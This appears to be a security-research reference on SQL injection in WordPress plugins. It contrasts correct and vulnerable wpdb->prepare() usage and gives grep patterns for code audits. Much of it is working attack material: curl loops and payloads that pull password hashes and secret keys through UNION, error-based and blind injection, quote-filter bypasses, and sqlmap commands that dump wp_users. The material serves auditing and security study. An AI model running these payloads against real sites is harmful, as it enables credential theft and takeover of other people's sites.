Vulnerability Types

WordPress SQL Injection Patterns

wpdb->prepare() usage, extraction techniques, WordPress table structures, and grep patterns for finding SQL injection vulnerabilities

WordPress SQL Injection Patterns

SQL injection in WordPress plugins is one of the most prevalent and impactful vulnerability classes. The WordPress database abstraction layer provides $wpdb->prepare() for parameterized queries, but its misuse and the prevalence of raw string interpolation create numerous opportunities for injection.

WordPress Database Abstraction Layer

WordPress uses the wpdb class to interact with MySQL/MariaDB. The global $wpdb object is available throughout WordPress. Key methods:

global $wpdb;

// Returns array of row objects
$wpdb->get_results( $query );

// Returns single row as object
$wpdb->get_row( $query );

// Returns single value
$wpdb->get_var( $query );

// Returns array of values from single column
$wpdb->get_col( $query );

// Execute query (INSERT/UPDATE/DELETE), returns rows affected
$wpdb->query( $query );

// Returns last inserted ID
$wpdb->insert_id;

// Last error
$wpdb->last_error;

wpdb->prepare(): Correct vs Incorrect Usage

wpdb->prepare() is a sprintf-like function that parameterizes queries. It uses %s (string), %d (integer), and %f (float) placeholders.

Correct Usage

// Correct: placeholders used for all variable data
$results = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->posts} WHERE ID = %d AND post_author = %d",
        $post_id,
        $user_id
    )
);

// Correct: string placeholder with explicit quoting
$results = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->users} WHERE user_login = %s",
        $username
    )
);

// Correct: LIKE with wildcards added by the developer (not user)
$search = '%' . $wpdb->esc_like( $user_input ) . '%';
$results = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE %s",
        $search
    )
);

Incorrect Usage (Vulnerable)

// VULNERABLE #1: String interpolation before prepare
$table = $_POST['table']; // Attacker controls table name
$results = $wpdb->get_results(
    $wpdb->prepare( "SELECT * FROM $table WHERE id = %d", $id )
    // prepare() only protects the %d placeholder, not $table
);

// VULNERABLE #2: Concatenation bypasses prepare
$order = $_GET['order']; // 'ASC' or 'DESC' - but attacker sends payload
$results = $wpdb->get_results(
    $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_status = %s", $status ) .
    " ORDER BY post_date $order"  // This part is not parameterized!
);

// VULNERABLE #3: No prepare() at all
$id = $_POST['id'];
$results = $wpdb->get_results(
    "SELECT * FROM {$wpdb->posts} WHERE ID = $id"
);

// VULNERABLE #4: sanitize_text_field doesn't prevent SQLi
$name = sanitize_text_field( $_POST['name'] );
// sanitize_text_field strips HTML tags and extra whitespace
// It does NOT escape SQL metacharacters (', ", \, etc.)
$results = $wpdb->get_results(
    "SELECT * FROM {$wpdb->posts} WHERE post_title = '$name'"
    // $name = "test' OR '1'='1" -- sanitize_text_field passes this through!
);

// VULNERABLE #5: IN clause construction
$ids = implode( ',', $_POST['ids'] ); // Array of IDs from user
$results = $wpdb->get_results(
    "SELECT * FROM {$wpdb->posts} WHERE ID IN ($ids)"
    // $ids = "1,2,(SELECT password FROM wp_users)"
);

A critical misconception: sanitize_text_field() does not prevent SQL injection. It removes HTML tags, extra whitespace, and invalid UTF-8 characters but leaves SQL metacharacters intact.

Grep Patterns for Finding SQL Injection

PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"

# Raw queries with POST/GET parameters
grep -rn "\$wpdb->get_results\|\$wpdb->get_row\|\$wpdb->query\|\$wpdb->get_var" \
  "$PLUGIN_DIR" --include="*.php" -A3 | grep "\$_POST\|\$_GET\|\$_REQUEST"

# String interpolation in queries (high confidence vulns)
grep -rP '\$wpdb->(get_results|get_row|query|get_var|get_col)\s*\(\s*"[^"]*\$' \
  "$PLUGIN_DIR" --include="*.php" -n

# Queries not using prepare()
grep -rn "\$wpdb->get_results\|->query(" "$PLUGIN_DIR" --include="*.php" | \
  grep -v "prepare\|esc_sql"

# ORDER BY / LIMIT injection (common because prepare() doesn't protect these)
grep -rn "ORDER BY\|LIMIT\|OFFSET\|GROUP BY" "$PLUGIN_DIR" --include="*.php" | \
  grep "\$_GET\|\$_POST\|\$_REQUEST\|\$order\|\$sort\|\$limit"

# IN clause construction
grep -rn "IN\s*(" "$PLUGIN_DIR" --include="*.php" | grep "implode\|\$ids\|\$_POST"

# esc_sql without prepare (incomplete protection)
grep -rn "esc_sql" "$PLUGIN_DIR" --include="*.php" -B2

# Finding wpdb table references (understand schema)
grep -rn "\$wpdb->" "$PLUGIN_DIR" --include="*.php" | \
  grep -oP '\$wpdb->\K\w+' | sort | uniq -c | sort -rn

UNION-Based Extraction

UNION attacks require matching the number of columns in the original query. Workflow:

Step 1: Determine Column Count

TARGET="https://target.example.com/wp-admin/admin-ajax.php"

# Inject ORDER BY to find column count (binary search)
# If ORDER BY 5 works but ORDER BY 6 errors, there are 5 columns
for n in 1 2 3 4 5 6 7 8 9 10; do
    RESPONSE=$(curl -s -X POST "$TARGET" \
      --data-urlencode "action=vulnerable_action" \
      --data-urlencode "search=test' ORDER BY $n-- -")
    if echo "$RESPONSE" | grep -qi "error\|unknown column"; then
        echo "Column count: $((n-1))"
        break
    fi
    echo "ORDER BY $n: OK"
done

Step 2: Find Output Columns

Not all columns may be reflected in the output. Use NULL placeholders and test each position:

# Try UNION with NULLs first (NULL is type-safe)
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=test' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -"

# Replace NULLs with strings to find which columns are reflected
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=notfound' UNION SELECT 'col1','col2','col3','col4','col5'-- -"

# If response contains 'col2', column 2 is reflected

Step 3: Extract Data

# Extract WordPress user credentials
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=notfound' UNION SELECT user_login,user_pass,user_email,user_registered,ID FROM wp_users LIMIT 5-- -"

# Concatenate multiple values into one column
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=notfound' UNION SELECT CONCAT(user_login,0x3a,user_pass),2,3,4,5 FROM wp_users LIMIT 5-- -"

# Extract WordPress secret keys from options table
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=notfound' UNION SELECT option_name,option_value,3,4,5 FROM wp_options WHERE option_name IN ('auth_key','secure_auth_key','logged_in_key')-- -"

# Get database version and user
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=notfound' UNION SELECT version(),user(),database(),4,5-- -"

Error-Based Extraction

When UNION is not available but errors are displayed:

# MySQL extractvalue() error-based
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "id=1 AND extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE user_login='admin'),0x7e))-- -"

# MySQL updatexml() error-based
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -"

# Longer output via group_concat + error
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(user_login,0x3a,user_pass) FROM wp_users),0x7e))-- -"

Time-Based Blind Extraction

When there is no output but the query executes:

# Verify injection with sleep
time curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "id=1' AND SLEEP(5)-- -"

# Extract data bit by bit (character by character approach)
# Check if first char of admin password hash is '2' (common for bcrypt $P$)
time curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "id=1' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1)='\$',SLEEP(5),0)-- -"

# Practical: Extract one character at a time with ASCII comparison
for pos in 1 2 3 4 5 6 7 8 9 10; do
    for ascii in $(seq 32 126); do
        CHAR=$(printf "\\x$(printf '%02x' $ascii)")
        ELAPSED=$(curl -s -o /dev/null -w "%{time_total}" -X POST "$TARGET" \
          --data-urlencode "action=vulnerable_action" \
          --data-urlencode "id=1' AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),$pos,1))=$ascii,SLEEP(2),0)-- -")
        if (( $(echo "$ELAPSED > 1.5" | bc -l) )); then
            echo "Position $pos: $CHAR (ASCII $ascii)"
            break
        fi
    done
done

Boolean-Based Blind Extraction

# Verify boolean injection - two different responses for true/false
RESPONSE_TRUE=$(curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "id=1' AND 1=1-- -")

RESPONSE_FALSE=$(curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "id=1' AND 1=2-- -")

# Compare lengths to verify boolean injection works
echo "True response length: ${#RESPONSE_TRUE}"
echo "False response length: ${#RESPONSE_FALSE}"

# Binary search for character ASCII value
extract_char() {
    local query="$1"
    local pos="$2"
    local lo=32
    local hi=126

    while [ $lo -lt $hi ]; do
        mid=$(( (lo + hi) / 2 ))
        RESPONSE=$(curl -s -X POST "$TARGET" \
          --data-urlencode "action=vulnerable_action" \
          --data-urlencode "id=1' AND ASCII(SUBSTRING(($query),$pos,1))>$mid-- -")
        # Check if response matches "true" response pattern
        if echo "$RESPONSE" | grep -q "expected_true_indicator"; then
            lo=$((mid + 1))
        else
            hi=$mid
        fi
    done
    printf "\\x$(printf '%02x' $lo)"
}

Subquery-Based Extraction

When UNION fails (due to column type mismatch or WAF), use subqueries:

# Inject subquery into WHERE clause
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=test' AND 1=(SELECT 1 FROM wp_users WHERE SUBSTRING(user_pass,1,3)='\$P\$')-- -"

# Subquery in ORDER BY (common bypass)
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "order=( SELECT CASE WHEN (1=1) THEN post_date ELSE post_title END )"

Hex Encoding to Bypass Quote Filtering

When single quotes are filtered or escaped:

# Convert string to hex (no quotes needed)
python3 -c "print('admin'.encode().hex())"
# Output: 61646d696e

# Use hex in injection
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=notfound UNION SELECT user_login,user_pass FROM wp_users WHERE user_login=0x61646d696e-- -"

# Hex-encoded table name and string
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "search=notfound UNION SELECT user_pass,2 FROM wp_users WHERE user_login=char(97,100,109,105,110)-- -"

WordPress Table Structures

Understanding the schema is essential for targeted extraction:

wp_users

-- Critical fields
SELECT user_login, user_pass, user_email, user_registered FROM wp_users;

-- user_pass format: $P$B... (phpass portable hash, MD5-based)
-- or $wp$2y$... (bcrypt, WP 6.8+)
-- Crackable with hashcat or john

-- Example extraction
UNION SELECT user_login, user_pass, user_email, user_registered, ID FROM wp_users-- -

wp_usermeta

-- Contains user roles and capabilities
SELECT meta_key, meta_value FROM wp_usermeta 
WHERE user_id = 1 AND meta_key = 'wp_capabilities';
-- Value: a:1:{s:13:"administrator";b:1;}

-- Extract admin capabilities
UNION SELECT user_id, meta_value FROM wp_usermeta 
WHERE meta_key = 'wp_capabilities' 
AND meta_value LIKE '%administrator%'-- -

wp_options

-- Critical options
SELECT option_name, option_value FROM wp_options 
WHERE option_name IN (
    'siteurl',
    'admin_email', 
    'auth_key',
    'secure_auth_key',
    'logged_in_key',
    'auth_salt',
    'secure_auth_salt',
    'logged_in_salt',
    'admin_user_id'
);

-- Option value extraction via injection
UNION SELECT option_name, option_value FROM wp_options 
WHERE option_name = 0x617574685f6b6579-- - (hex for 'auth_key')

wp_posts

-- Private/draft content
SELECT ID, post_title, post_content, post_status, post_author 
FROM wp_posts 
WHERE post_status IN ('private', 'draft', 'password');

ORDER BY Injection

ORDER BY clauses are particularly vulnerable because they cannot use parameterized placeholders:

// VULNERABLE: Dynamic ORDER BY
$order_by = $_GET['orderby'];
$order    = $_GET['order']; // Should be ASC or DESC only
$results  = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->posts} WHERE post_status = %s ORDER BY $order_by $order",
        'publish'
    )
);
# Time-based blind via ORDER BY
time curl -s "https://target.example.com/page/?orderby=post_date&order=ASC"
time curl -s "https://target.example.com/page/?orderby=(CASE WHEN (1=1) THEN post_date ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)&order="

# Boolean via ORDER BY with FIELD()
curl -s "https://target.example.com/page/?orderby=FIELD(post_author,1,2)&order=ASC"

# Data extraction via ORDER BY with IF
curl -s "https://target.example.com/page/?orderby=IF(1=1,post_date,post_title)&order=ASC"

wpdb Error Output Leakage

When WP_DEBUG is enabled or the plugin outputs $wpdb->last_error:

// Some plugins helpfully show errors
$result = $wpdb->get_results( $query );
if ( $wpdb->last_error ) {
    echo 'Query error: ' . $wpdb->last_error; // Error-based SQLi goldmine
}
# Check if database errors are visible
curl -s -X POST "$TARGET" \
  --data-urlencode "action=vulnerable_action" \
  --data-urlencode "id=1'" | grep -i "mysql\|you have an error\|sql syntax"

Practical SQLi Checklist for WordPress Plugins

PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"

# 1. Find all database query calls
grep -rn "\$wpdb->" "$PLUGIN_DIR" --include="*.php" | \
  grep "get_results\|get_row\|get_var\|get_col\|query\|insert\|update\|delete" > /tmp/db_calls.txt

# 2. Find calls with direct user input (no prepare)
grep -rP '\$wpdb->(get_results|get_row|query|get_var)\s*\([^;]*\$_(POST|GET|REQUEST|COOKIE)' \
  "$PLUGIN_DIR" --include="*.php" -n

# 3. Find prepare() calls with interpolation (partial protection)
grep -rn "prepare" "$PLUGIN_DIR" --include="*.php" -A3 | grep "\$_\|->get_param\|->get_var"

# 4. Find ORDER BY / LIMIT with user input
grep -rn "ORDER BY\|LIMIT\|GROUP BY" "$PLUGIN_DIR" --include="*.php" | \
  grep -v "//\|#\|\*" | grep "\$"

# 5. Find esc_sql usage (might be incomplete protection)
grep -rn "esc_sql\b" "$PLUGIN_DIR" --include="*.php" -B3 -A3

# 6. Trace user input from source to sink
grep -rn "sanitize_text_field\|sanitize_key\|intval\|absint" \
  "$PLUGIN_DIR" --include="*.php" | head -20

Automating with SQLMap Against WordPress AJAX

# SQLMap against an AJAX endpoint
sqlmap -u "https://target.example.com/wp-admin/admin-ajax.php" \
  --data "action=vulnerable_action&id=1" \
  -p "id" \
  --dbms=mysql \
  --level=3 \
  --risk=2 \
  --technique=BEUST \
  --tables

# With cookie authentication
sqlmap -u "https://target.example.com/wp-admin/admin-ajax.php" \
  --data "action=vulnerable_action&id=1" \
  --cookie "wordpress_logged_in_xxx=...; wordpress_test_cookie=WP+Cookie+check" \
  -p "id" \
  --dbms=mysql \
  --dump -T wp_users

# Test REST API parameter
sqlmap -u "https://target.example.com/wp-json/plugin/v1/search?term=test" \
  -p "term" \
  --dbms=mysql \
  --technique=BT \
  --level=5